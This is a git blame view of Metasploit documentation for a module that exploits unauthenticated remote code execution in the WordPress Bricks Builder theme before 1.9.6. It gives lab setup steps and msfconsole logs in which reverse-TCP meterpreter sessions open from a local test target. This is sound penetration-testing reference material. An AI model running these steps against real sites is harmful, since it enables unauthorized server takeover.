Files
metasploit-gs/documentation/modules/exploit/multi/http/wp_bricks_builder_rce.md
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

161 lines
6.0 KiB
Markdown
Raw Normal View History

2024-02-26 22:07:15 +01:00
## Vulnerable Application
This Metasploit module exploits a Remote Code Execution vulnerability in Bricks Builder Theme, versions prior to 1.9.6.
The vulnerability allows attackers to execute arbitrary PHP code by leveraging
a nonce leakage to bypass authentication and exploit the eval() function usage within the theme.
To replicate a vulnerable environment for testing:
1. Install WordPress.
2. Download and install the Bricks Builder Theme, ensuring the version is below 1.9.6.
3. Activate Bricks Builder.
4. Create a model with a default page (to ensure the nonce is on index.php, add some elements).
## Verification Steps
1. Set up a WordPress instance with the Bricks Builder Theme (version < 1.9.6).
2. Launch `msfconsole` in your Metasploit framework.
3. Use the module: `use exploit/multi/http/wp_bricks_builder_rce`.
4. Set `RHOSTS` to the local IP address or hostname of the target.
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
6. Execute the exploit using the `run` or `exploit` command.
7. If the target is vulnerable, the module will execute the specified payload.
## Options
No option
## Scenarios
### Successful Exploitation Against Local WordPress with Bricks Builder Theme 1.8
**Setup**:
- Local WordPress instance with Bricks Builder Theme version 1.8.
- Metasploit Framework.
**Steps**:
1. Start `msfconsole`.
2. Load the module:
```
use exploit/multi/http/wp_bricks_builder_rce
```
4. Set `RHOSTS` to the local IP (e.g., 192.168.1.10).
5. Configure other necessary options (TARGETURI, SSL, etc.).
6. Launch the exploit:
```
exploit
```
**Expected Results**:
- The module attempts to retrieve a nonce from the local server.
- It then uploads and executes the payload.
- If successful, control over the local WordPress instance is gained, depending on the payload used.
**Example**:
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
```
2025-07-17 09:53:40 +01:00
msf > search bricks
2024-02-26 22:07:15 +01:00
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/wp_bricks_builder_rce 2024-02-19 excellent Yes Unauthenticated RCE in Bricks Builder Theme
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_bricks_builder_rce
2025-07-17 09:53:40 +01:00
msf > use 0
2024-02-26 22:07:15 +01:00
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
2025-07-17 09:53:40 +01:00
msf exploit(multi/http/wp_bricks_builder_rce) > options
2024-02-26 22:07:15 +01:00
Module options (exploit/multi/http/wp_bricks_builder_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path to WordPress
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME ilPaBylkCKr no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST 192.168.1.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
2025-07-17 09:53:40 +01:00
msf exploit(multi/http/wp_bricks_builder_rce) > set ssl false
2024-02-26 22:07:15 +01:00
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
2025-07-17 09:53:40 +01:00
msf exploit(multi/http/wp_bricks_builder_rce) > set rhosts localhost
2024-02-26 22:07:15 +01:00
rhosts => localhost
2025-07-17 09:53:40 +01:00
msf exploit(multi/http/wp_bricks_builder_rce) > set rport 8888
2024-02-26 22:07:15 +01:00
rport => 8888
2025-07-17 09:53:40 +01:00
msf exploit(multi/http/wp_bricks_builder_rce) > exploit
2024-02-26 22:07:15 +01:00
[*] Started reverse TCP handler on 192.168.1.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Nonce retrieved: 953563d296
[*] Sending stage (3045380 bytes) to 172.20.0.2
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 172.20.0.2:39856) at 2024-02-26 21:51:11 +0100
meterpreter > sysinfo
Computer : 172.20.0.2
OS : Debian 11.8 (Linux 6.4.10-060410-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
With `php/meterpreter/reverse_tcp`:
```
2025-07-17 09:53:40 +01:00
msf exploit(multi/http/wp_bricks_builder_rce) > set payload php/meterpreter/reverse_tcp
2024-02-26 22:07:15 +01:00
payload => php/meterpreter/reverse_tcp
2025-07-17 09:53:40 +01:00
msf exploit(multi/http/wp_bricks_builder_rce) > exploit
2024-02-26 22:07:15 +01:00
[*] Started reverse TCP handler on 192.168.1.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Nonce retrieved: 953563d296
[*] Sending stage (39927 bytes) to 172.20.0.2
[*] Meterpreter session 2 opened (192.168.1.5:4444 -> 172.20.0.2:49678) at 2024-02-26 22:02:56 +0100
meterpreter > sysinfo
Computer : 65e1e703e433
OS : Linux 65e1e703e433 6.4.10-060410-generic #202308111154 SMP PREEMPT_DYNAMIC Fri Aug 11 12:00:45 UTC 2023 x86_64
Meterpreter : php/linux
meterpreter >
```